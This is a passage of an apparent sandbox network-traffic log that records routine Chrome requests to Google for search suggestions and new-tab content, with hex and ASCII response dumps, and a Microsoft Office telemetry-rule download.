T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49718	142.250.181.68	443	7584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 10:05:11 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:11 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-asJ5HwugWmoxqfiLxvxCcw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 10:05:11 UTC	124	IN	Data Raw: 62 37 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 6f 6c 6c 61 72 20 67 65 6e 65 72 61 6c 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 68 6f 75 72 73 22 2c 22 73 65 61 74 74 6c 65 20 73 65 61 68 61 77 6b 73 20 6e 65 77 73 22 2c 22 74 65 72 72 69 66 69 65 72 20 33 20 6d 6f 76 69 65 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 Data Ascii: b7d)]}'["",["dollar general thanksgiving hours","seattle seahawks news","terrifier 3 movie","thanksgiving weather forecas
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 67 61 6c 61 72 69 61 6e 20 63 6f 72 73 6f 6c 61 20 70 6f 6b c3 a9 6d 6f 6e 20 67 6f 22 2c 22 62 65 73 74 20 73 74 72 65 61 6d 65 72 73 22 2c 22 64 69 63 6b 69 65 73 22 2c 22 63 61 6c 20 66 6f 6f 74 62 61 6c 6c 20 65 71 75 69 70 6d 65 6e 74 20 6d 61 6e 61 67 65 72 20 74 61 63 6b 6c 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 Data Ascii: t snow storm","galarian corsola pokmon go","best streamers","dickies","cal football equipment manager tackle"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","g
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 33 42 4b 52 53 74 47 4f 48 46 57 62 46 6c 48 4e 6d 74 6e 5a 32 6c 34 4d 6a 5a 71 62 47 70 73 53 33 64 61 65 56 46 4e 56 6c 68 71 54 45 78 35 4c 33 64 74 5a 56 46 4c 55 45 74 79 62 31 56 6c 59 30 77 76 64 48 6c 72 59 6a 4d 32 57 44 51 72 4f 54 68 54 61 6d 6c 34 65 46 5a 79 55 6c 70 51 53 6a 42 71 55 48 42 61 59 6a 49 79 4e 44 51 79 4c 30 39 61 59 58 6c 58 63 46 4e 45 54 44 52 71 63 46 4a 69 63 7a 52 30 63 46 4a 69 59 31 4e 55 63 30 49 7a 54 30 31 50 61 55 6c 31 59 6a 51 78 4f 46 5a 69 57 6d 70 72 64 45 52 4a 5a 32 56 58 53 32 46 46 52 6a 51 78 5a 54 49 35 63 6b 56 72 5a 47 49 7a 4e 55 68 42 4b 31 70 69 62 47 31 35 5a 6d 39 4a 62 47 5a 55 4d 46 56 77 51 57 78 71 63 6b 74 6e 59 6e 52 4f 63 57 4a 35 4e 48 56 33 4e 58 4e 6d 57 56 6b 35 55 54 56 77 56 7a 56 79 Data Ascii: 3BKRStGOHFWbFlHNmtnZ2l4MjZqbGpsS3daeVFNVlhqTEx5L3dtZVFLUEtyb1VlY0wvdHlrYjM2WDQrOThTaml4eFZyUlpQSjBqUHBaYjIyNDQyL09aYXlXcFNETDRqcFJiczR0cFJiY1NUc0IzT01PaUl1YjQxOFZiWmprdERJZ2VXS2FFRjQxZTI5ckVrZGIzNUhBK1pibG15Zm9JbGZUMFVwQWxqcktnYnROcWJ5NHV3NXNmWVk5UTVwVzVy
2024-11-28 10:05:11 UTC	44	IN	Data Raw: 4b 55 46 46 5a 63 43 39 45 4c 32 68 48 55 33 55 78 55 47 31 69 56 46 56 76 63 30 52 49 51 30 6b 33 54 7a 52 32 65 45 70 50 65 0d 0a Data Ascii: KUFFZcC9EL2hHU3UxUG1iVFVvc0RIQ0k3TzR2eEpPe
2024-11-28 10:05:11 UTC	93	IN	Data Raw: 35 37 0d 0a 57 6f 33 62 6e 52 71 63 46 64 61 55 44 68 42 51 54 46 45 55 6b 64 74 4d 48 68 75 4e 55 64 52 4d 30 52 42 59 31 52 6d 62 6a 6c 6b 4f 45 45 33 63 6b 6f 32 54 54 68 4f 56 58 4e 70 57 45 78 61 59 58 5a 4d 53 32 68 61 4e 6d 46 6d 55 6b 39 32 4e 6c 52 31 52 30 68 52 0d 0a Data Ascii: 57Wo3bnRqcFdaUDhBQTFEUkdtMHhuNUdRM0RBY1RmbjlkOEE3cko2TThOVXNpWExaYXZMS2haNmFmUk92NlR1R0hR
2024-11-28 10:05:11 UTC	944	IN	Data Raw: 33 61 39 0d 0a 4f 57 59 7a 64 33 63 34 63 6b 30 32 55 33 5a 35 4d 6c 56 34 65 47 5a 73 54 7a 56 68 63 57 64 5a 61 33 52 42 65 45 38 33 63 44 46 52 4f 48 68 35 55 48 5a 6d 51 32 6c 6c 51 55 4a 70 61 58 56 45 59 6d 78 36 52 30 4a 5a 4e 56 70 68 56 32 4e 54 65 46 64 46 61 54 68 44 5a 48 64 6d 5a 6b 56 5a 65 54 68 72 56 6b 39 4f 52 45 4e 54 61 32 39 58 56 6b 70 47 63 57 39 55 51 30 49 72 57 55 5a 69 56 47 49 79 53 45 55 72 4d 31 46 71 62 6d 68 61 5a 56 4e 76 63 57 78 58 53 57 78 48 59 56 4a 57 61 6a 41 76 63 45 34 33 54 47 49 79 64 7a 5a 58 52 56 70 32 51 6b 68 4d 62 44 42 72 59 31 56 70 5a 57 78 78 57 69 74 46 55 6c 42 46 63 57 51 33 51 53 38 78 64 31 68 53 4e 56 56 31 56 48 6c 34 4e 57 68 57 63 30 70 48 61 55 64 33 55 57 4a 43 63 6d 4a 49 64 6a 64 74 4d 33 Data Ascii: 3a9OWYzd3c4ck02U3Z5MlV4eGZsTzVhcWdZa3RBeE83cDFROHh5UHZmQ2llQUJpaXVEYmx6R0JZNVphV2NTeFdFaThDZHdmZkVZeThrVk9ORENTa29XVkpGcW9UQ0IrWUZiVGIySEUrM1FqbmhaZVNvcWxXSWxHYVJWajAvcE43TGIydzZXRVp2QkhMbDBrY1VpZWxxWitFUlBFcWQ3QS8xd1hSNVV1VHl4NWhWc0pHaUd3UWJCcmJIdjdtM3
2024-11-28 10:05:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49720	142.250.181.68	443	7584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49724	142.250.181.68	443	7584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 10:05:11 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 10:05:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 10:05:11 UTC	372	IN	Data Raw: 31 66 34 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1f48)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700255,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-28 10:05:11 UTC	694	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-28 10:05:11 UTC	399	IN	Data Raw: 31 38 38 0d 0a 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 Data Ascii: 188Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Numb
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b Data Ascii: 8000#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};
2024-11-28 10:05:11 UTC	1390	IN	Data Raw: 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 Data Ascii: le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getEle

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:12 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:12 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100512Z-174f7845968cpnpfhC1EWR3afc0000000xt000000000akzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 